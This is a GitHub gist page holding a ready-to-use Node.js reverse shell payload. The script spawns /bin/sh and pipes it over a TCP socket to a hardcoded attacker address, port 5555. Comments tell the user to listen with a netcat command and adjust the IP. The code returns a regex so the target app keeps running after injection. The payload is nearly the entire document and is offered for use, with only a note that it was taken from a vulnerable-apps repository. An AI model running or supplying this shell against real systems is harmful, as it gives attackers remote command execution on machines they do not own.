Skip to content

Instantly share code, notes, and snippets.

@secoats
Created March 15, 2021 16:43
Show Gist options
  • Save secoats/44b9b42920ac4a825e54e7310303cfdb to your computer and use it in GitHub Desktop.
Save secoats/44b9b42920ac4a825e54e7310303cfdb to your computer and use it in GitHub Desktop.
Nodejs Reverse Shell
// Stolen from: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
// Nodejs reverse shell
// listen with: nc -vlnp 5555
// adjust the ip address obviously
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(5555, "10.0.13.37", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment